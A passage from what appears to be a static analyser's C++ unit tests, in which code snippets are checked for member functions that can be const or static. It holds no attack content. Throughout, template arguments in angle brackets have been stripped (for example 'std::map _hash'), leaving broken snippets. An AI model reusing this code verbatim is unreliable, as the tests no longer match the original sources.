\"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct 